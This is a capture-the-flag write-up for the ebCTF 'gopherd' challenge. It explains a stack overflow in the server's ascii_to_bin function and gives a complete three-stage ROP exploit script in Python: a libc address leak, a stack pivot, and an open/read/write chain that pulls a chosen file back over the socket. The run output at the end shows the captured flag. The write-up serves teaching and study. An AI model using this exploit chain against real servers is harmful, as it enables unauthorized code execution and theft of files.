gopherd is a linux elf32 gopher server which respond to simple requests:

  • a request just composed of "\r\n" will make gopherd return its list of files,
  • a request "MD5\r\n" will make gopherd return the content of the file with the matching MD5.

Unfortunaly, the server replaces the contents of any file called "FLAG" by "ACCESS DENIED"

Step 1: The vuln

The vuln is in the function ascii_to_bin used to transform ascii MD5 to binary MD5. A simple buffer overflow can occur because the output buffer (in the caller stack frame) is too small to handle a big string.

So by requesting a long string, we will be able to rewrite the return address of the caller function.

But there is another problem in ascii_to_bin function! The function logically uses two ascii chars to generate one bin char but iters over strlen(input_string) so it generates the good binary for the hash we send but also write len(input_string) garbage after, based on what comes after input_string that we can’t control.

ascii_to_bin vulnerable function

So, if we just give gopherd a hash that will rewrite the return address of the caller: we will fill the caller args with garbage. So here is a part of read_from_client:

read_from_client call ascii_to_bin and hashlist_find

We can see that, directly after the call to ascii_to_bin, the function calls hashlist_find with haslist_addr as first argument. hashlist_addr is an argument of the caller that have been randomly rewritten by ascii to bin.

So to pass the call function to hashlist_find, hashlist_addr need to be a valid pointer with [ptr + 4] == 0 (because hashlist_find simply iters on the values in [ptr +4] and zero will make it return immediately without any problem. An address from the beginning of .data will be perfect.

Step 2: the sploit

So, at this point, here is the format of our exploit string:

sploit = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + ret_addr + 'AAAAAAAA' + hashlist_addr

It seems that ROP would be a good idea here, so let’s start! The first thing to do is to set ret_addr at a pop_pop_ret address to remove hashlist_addr from the stack. After that, we will be in a totally controlled ROP environment.

BUT: there is another problem! The length of the read that the gopherd do is just 255 bytes long. And we know that:

  • each address is encoded on 8 bytes (addresses must be encoded in ascii for ascii_to_bin),
  • we consume 96 chars to trigger the vuln in a exploitable way.

So we can just use: (255 - 96) / 8 = 19 values in our ROP payload: it won’t be enough to perform an "open/read/write" payload.

So we need to find a stack pivot! RopMount didn’t find a good stackpivot in gopherd.

But we know that ebCTF is using Ubuntu 12.04 LST: so let’s try in the libc!

$ python2 ropmount.py --dump "pop esp; ret" remote_libc.so.6
    ---
    pop esp; ret:
    [base + 0x38b4] pop esp;ret
    ....

We have some nice and simple stack pivot in the remote libc!

So the attack will consist in 3 phases:

  • Step 1:

    • ROP in gopherd to leak an address of the libc,
    • use this addr to build step 2 and 3.
  • Step 2:

    • ROP to read stage 3 and put it in at a known location and pivot on it!
  • Step 3:

    • full ROP with no length limitation,
    • I chose the following method:

      • read the file name from the socket,
      • open it,
      • read it,
      • send content to the socket!

Step 3: The full script

Here is the code used for each step with comments:

import socket
import struct
import sys
import ropmount
import time

SERVERD= "54.217.15.93"
PORTD=7070
REMOTE = SERVERD, PORTD
LIBC = "./remote_libc.so.6"

###HELPERS
def int_to_strformat(x):
    """transform a raw int to the good str for remote ascii_to_bin"""
    nb = hex(struct.unpack(">I", struct.pack("<I", x))[0])[2:]
    return "0" * (8 - len(nb)) + nb

def ropchain_to_str(ropchain):
    """transform a ropchain to a good str to remote ascii_to_bin"""
    str_rop = ""
    for addr, size in ropchain.stack.dump():
        str_rop += int_to_strformat(addr)
    return str_rop

###EXPLOIT


##STEP 1
#The address in DATA with [ptr + 4] == 0
hashlist_addr = int_to_strformat(0x0804C0C0)

#We ROP on the gopherd binary
rpc = ropmount.rop_from_files(["./gopherd"])

#Here is the pop_pop_ret to clean the stack before ROP
pop_pop_ret = rpc.find("{2,2} pop REG32; ret")

#The presumed FD of our socket
socket_fd = 4

#Get the GOT addr of read
read_plt =  rpc.get_symbols()['read.got'].value

#Build STEP1 ROP (write was not into gopherd PLT)
#Just doing send(socket_fd, read_got_addr, 4, 0)
ropchain = rpc.assemble("call send,{0},{1},4,0".format(socket_fd, read_plt))

#build the full exploit string for STEP1
sploit = ('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
            int_to_strformat(pop_pop_ret.vaddr.dump()[0]) + '42424242' + hashlist_addr + ropchain_to_str(ropchain))

#Send Step 1 and recv read addr in remote libc
s = socket.create_connection(REMOTE)
s.send(sploit + "\r\n")
addr = s.recv(4)
s.close()
read_addr = struct.unpack("<I", addr)[0]


##STEP 2

#Now we ROP on gopherd AND the libc
full_rpc = ropmount.rop_from_files(["./gopherd", LIBC])

#Get libc_base from leaked addr + read offset into libc
libc_base = read_addr - full_rpc.mapfile[LIBC].get_symbols()['read'].value
print("libc base : {0}".format(hex(libc_base)))

#Tell to ropmount where is located remote libc to craft RopStack
full_rpc.mapfile[LIBC].fix_baseaddr(libc_base)

#Buffer used to store filename
buff = 0x0804C0C0
#New stack location for the pivot
new_stack = buff + 100

#Assemble STEP2 :
# - read STEP3 into new_stack
# - set esp to new_stack
ropchain_load = full_rpc.assemble('call read,{1},{0},0x1000; set esp,{0}'.format(new_stack, socket_fd))

#Build the full exploit string for STEP2
sploit = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + int_to_strformat(pop_pop_ret.vaddr.dump()[0]) + '42424242' + hashlist_addr + ropchain_to_str(ropchain_load)

#Send STEP2
s = socket.create_connection(REMOTE)
s.send(sploit + "\r\n")
time.sleep(1)
#Now remote is waiting for STEP3


#STEP3

#The presumed socket of the newly opened file
file_fd = socket_fd - 1

#Assemble STEP3
# - read filename from socket_fd into buff
# - open file
# - read file into into buff
# - write buff into socket_fd
last_rop = full_rpc.assemble("call read,{1},{0},50; call open,{0},4;call read,{2},{0},100; call write,{1},{0},100".format(buff, socket_fd, file_fd))

#We are not passing through ascii_to_bin anymore: raw binary ROP
s.send(last_rop.stack.dump('raw'))
time.sleep(1)

#Now remote is waiting for filename
s.send("./goproot/FLAG")

#print content of filename
print("------")
print(s.recv(100))

Step 4: Launch

$ python2 client.py
libc base : 0xf7617000
------
    0h my g0d, I am defeat.

        Here, take this:

              ebCTF{35a6673b2243c925e02e85dfa916036f}